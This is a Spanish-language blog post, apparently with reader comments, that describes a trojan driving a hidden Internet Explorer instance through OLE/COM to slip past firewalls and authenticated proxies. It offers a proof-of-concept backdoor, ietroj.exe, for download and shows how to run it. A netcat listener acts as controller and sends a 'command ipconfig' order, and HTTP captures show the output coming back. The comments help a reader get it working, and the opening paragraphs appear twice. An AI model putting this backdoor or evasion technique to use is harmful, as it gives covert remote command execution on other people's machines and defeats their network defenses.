Aunque la palabra 'titiritero' a día de hoy tiene múltiples acepciones y en general engloba a muchas actividades circenses, el origen de esa palabra es aquellas personas que movían marionetas en espectáculos de teatro.
El tipo de troyano del que vamos a hablar hoy va en esa linea, troyanos que usan como marionetas programas del PC para comunicarse con el exterior.
Primero de todo, algo de background, en entornos Microsoft existe una tecnología llamada OLE/COM por la cual ciertos programas exportan su funcionalidad fuera del programa de forma que pueden ser llamados como 'servicios' desde aplicaciones externas. Un ejemplo: la mayoría de programas de la suite Office de microsoft pueden ser usados sin necesidad de intervención humana, por ejemplo, podemos abrir una hoja excel y hacer uso de alguna función matemática desde un script escrito en Visual Basic, ¿Como? simplemente hay que localizar el objeto OLE/COM de excel y usarlo empleando los métodos que exporta como si se trataran de funciones nativas.
Otro de los programas que exporta su funcionalidad es Internet Explorer, haciendo uso del objeto InternetExplorer.Application.1 podemos abrir una instancia de Explorer, navegar con ella y extraer el contenido de una pagina web desde un script. Además, si hacemos esa ventana invisible, podemos hacer todo eso sin que haya evidencias al respecto.
Entonces, pudiendo navegar usando Internet Explorer de forma oculta, es bastante sencillo implementar un troyano que use Explorer como vehículo para implementar un backdoor.
Este tipo de troyanos son útiles en dos escenarios bastante típicos, por un lado en las intranets corporativas donde no se permite conectividad directa hacia el exterior y es necesario emplear un proxy con autenticación
Otro escenario bastante común es el uso de Firewalls (normalmente integrados en el antivirus) que bloquean las aplicaciones que intentan hacer conexiones, por lo general estos firewalls vienen configurados por defecto para dejar salir ciertos programas, entre ellos, como no: Internet Explorer, entonces, empleando internet explorer como 'títere' para la comunicación al exterior, conseguimos hacer un bypass del Firewall (click para agrandar la imagen)
Como prueba-de-concepto he implementado un backdoor que hace uso de esta técnica y que permite ejecutar comandos remotamente usando el navegador como intermediario, se puede obtener desde aquí y funciona de la siguiente manera:
En el PC que actúa a modo de cliente (el troyano) ejecutamos:
El tipo de troyano del que vamos a hablar hoy va en esa linea, troyanos que usan como marionetas programas del PC para comunicarse con el exterior.
Primero de todo, algo de background, en entornos Microsoft existe una tecnología llamada OLE/COM por la cual ciertos programas exportan su funcionalidad fuera del programa de forma que pueden ser llamados como 'servicios' desde aplicaciones externas. Un ejemplo: la mayoría de programas de la suite Office de microsoft pueden ser usados sin necesidad de intervención humana, por ejemplo, podemos abrir una hoja excel y hacer uso de alguna función matemática desde un script escrito en Visual Basic, ¿Como? simplemente hay que localizar el objeto OLE/COM de excel y usarlo empleando los métodos que exporta como si se trataran de funciones nativas.
Otro de los programas que exporta su funcionalidad es Internet Explorer, haciendo uso del objeto InternetExplorer.Application.1 podemos abrir una instancia de Explorer, navegar con ella y extraer el contenido de una pagina web desde un script. Además, si hacemos esa ventana invisible, podemos hacer todo eso sin que haya evidencias al respecto.
Entonces, pudiendo navegar usando Internet Explorer de forma oculta, es bastante sencillo implementar un troyano que use Explorer como vehículo para implementar un backdoor.
Este tipo de troyanos son útiles en dos escenarios bastante típicos, por un lado en las intranets corporativas donde no se permite conectividad directa hacia el exterior y es necesario emplear un proxy con autenticación
Otro escenario bastante común es el uso de Firewalls (normalmente integrados en el antivirus) que bloquean las aplicaciones que intentan hacer conexiones, por lo general estos firewalls vienen configurados por defecto para dejar salir ciertos programas, entre ellos, como no: Internet Explorer, entonces, empleando internet explorer como 'títere' para la comunicación al exterior, conseguimos hacer un bypass del Firewall (click para agrandar la imagen)
Como prueba-de-concepto he implementado un backdoor que hace uso de esta técnica y que permite ejecutar comandos remotamente usando el navegador como intermediario, se puede obtener desde aquí y funciona de la siguiente manera:
En el PC que actúa a modo de cliente (el troyano) ejecutamos:
ietroj.exe 192.168.1.45 (la dirección IP del servidor)En el servidor, con un simple netcat es suficiente:
nc -l -p 80Al conectar, el troyano informa que está esperando ordenes:
POST /cgi-bin/ HTTP/1.1vamos a obtener la salida del comando ipconfig, para ello, desde el netcat, escribimos:
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: es
Content-Type: text/plain
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: 192.168.157.1:8000
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Ready for commands
command ipconfigCerramos el netcat (Crt+C) y lo volvemos a lanzar para obtener la respuesta:
nc -l -p 80el cliente vuelve a conectar y ...
POST /cgi-bin/ HTTP/1.1et vuala, nos envía la salida del comando
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: es
Content-Type: text/plain
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: 192.168.157.1:8000
Content-Length: 327
Connection: Keep-Alive
Cache-Control: no-cache
Configuración IP de Windows
Adaptador Ethernet Conexión de área local :
Sufijo de conexión específica DNS : localdomain
Dirección IP. . . . . . . . . . . : 192.168.157.128
Máscara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada : 192.168.157.2
9 comments :
Pues menudo fallo mas gordo.
En 4 puñeteras lineas de Python ¡
Igual es que soy mu facil de impresionar, el desconocimiento, ya sabes... Pero me ha flipado.
Estoy viendo el código y alucino. (No lo he probado aun :P)
Gracias Jarob, ya sabes como es Python o Perl, con muy pocas lineas haces muchas muchas cosas :)
Pues no me funciona.Desde el nc pongo "command ipconfig", cierro nc y vuelvo a abrir, y el ietroj se conecta de nuevo y queda esperando por un comando
@Anonimo, pulsa enter
command ipconfig (enter)
(Crt+c)
Y me dices si así te funciona
Yago, por supuesto que le doy al enter luego de poner "command ipconfig".
Estoy probando con Win2K3 + IE8 y no logro hacer que funcione
@Anonimo ¿usas localhost? si es así prueba (si puedes) contra otro host cuya IP no sea 127.0.0.1
Yago. Probé en localhost, y desde un host remoto también.
Me parece que el problema es mi versión del netcat para Windows. De donde recomiendas descargar una versión del nc?
@Anonimo, si en primera instancia llegas a ver el 'ready for commands' no debería ser por el netcat, yo lo bajé de aquí http://www.dbnet.ece.ntua.gr/~adamo/hacks/netcat.html De todas formas, prueba a contestar así
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
<html>
<body>
command ipconfig
</body>
</html>
Yago.Muchas gracias por tu ayuda. El problema al final era el netcat.
Probé desde un nc en linux y anduvo todo Ok.
Saludos
Publicar un comentario